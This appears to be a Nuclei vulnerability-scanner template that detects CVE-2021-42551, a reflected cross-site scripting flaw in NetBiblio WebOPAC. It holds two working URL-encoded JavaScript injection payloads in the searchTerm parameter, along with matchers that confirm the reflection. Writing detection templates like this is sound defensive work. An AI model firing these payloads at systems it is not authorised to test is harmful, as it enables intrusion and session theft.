id: CVE-2021-42551

info:
  name: NetBiblio WebOPAC - Cross-Site Scripting
  author: compr00t
  severity: medium
  description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42551
    - https://www.redguard.ch/advisories/netbiblio_webopac.txt
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/compr00t/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42551
    cwe-id: CWE-79
    epss-score: 0.0673
    epss-percentile: 0.91392
    cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: alcoda
    product: netbiblio
  tags: cve2021,cve,xss,netbiblio,alcoda,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'

    host-redirects: true
    max-redirects: 3

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SearchTerm: 'x'+alert(1)+'x',"
          - "SearchTerm: 'x\\\\'+alert(1),//',"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "NetBiblio"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8397dca4fff6eaf5e5eae47c29fca1d83251d7e4ad199bc5916767d3bf8f67b0220037562e5e0f5224b7abbf72c9c7d5f995c9b52ce64688955c6875ee2f97c4c5b:922c64590222798bb761d5b6d8e72950